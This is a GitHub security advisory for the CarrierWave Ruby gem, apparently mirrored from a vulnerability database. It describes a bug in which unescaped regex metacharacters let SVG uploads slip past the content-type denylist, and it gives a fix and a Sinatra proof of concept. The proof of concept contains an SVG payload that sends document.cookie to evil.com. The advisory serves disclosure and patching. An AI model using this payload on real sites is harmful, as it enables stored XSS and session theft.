GHSA-7G26-2QGJ-CHFG
Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-05-27 00:03Summary
CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.
Details
In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:
def denylisted_content_type?(denylist, content_type)
Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
Array(allowlist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.
Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:
rubydef denylisted_content_type?(denylist, content_type)
Array(denylist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
PoC
app.rb
require "sinatra"
require "carrierwave"
require "fileutils"
FileUtils.mkdir_p("uploads/files")
CarrierWave.configure do |config|
config.root = File.expand_path("uploads")
config.store_dir = "files"
end
class VaultUploader < CarrierWave::Uploader::Base
storage :file
def store_dir = "files"
def content_type_denylist = %w[image/svg+xml]
end
post "/upload" do
content_type :json
san = CarrierWave::SanitizedFile.new(
tempfile: params[:file][:tempfile],
filename: params[:file][:filename],
content_type: params[:file][:type]
)
uploader = VaultUploader.new
begin
uploader.store!(san)
{ result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
rescue CarrierWave::IntegrityError => e
{ result: "blocked", message: e.message }.to_json
end
end
bundle exec ruby app.rb &
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg
curl -X POST http://localhost:4567/upload \
-F "file=@xss.svg;type=image/svg+xml"
Expected response (denylist working):
json{ "result": "blocked", "message": "..." }
Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }
Impact
Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.beta"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44587"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T00:03:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nCarrierWave\u0027s content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn\u0027t denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n Array(allowlist).any? do |item|\n item = Regexp.quote(item) if item.class != Regexp\n content_type =~ /\\A#{item}/\n end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n Array(denylist).any? do |item|\n item = Regexp.quote(item) if item.class != Regexp\n content_type =~ /\\A#{item}/\n end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n config.root = File.expand_path(\"uploads\")\n config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n storage :file\n def store_dir = \"files\"\n def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n content_type :json\n san = CarrierWave::SanitizedFile.new(\n tempfile: params[:file][:tempfile],\n filename: params[:file][:filename],\n content_type: params[:file][:type]\n )\n uploader = VaultUploader.new\n begin\n uploader.store!(san)\n { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n rescue CarrierWave::IntegrityError =\u003e e\n { result: \"blocked\", message: e.message }.to_json\n end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e\u0027 \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml \u2014 the most common use case, specifically to prevent stored XSS \u2014 is silently unprotected. An attacker can upload an SVG file containing arbitrary",
"id": "GHSA-7g26-2qgj-chfg",
"modified": "2026-05-27T00:03:11Z",
"published": "2026-05-27T00:03:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
},
{
"type": "PACKAGE",
"url": "https://github.com/carrierwaveuploader/carrierwave"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.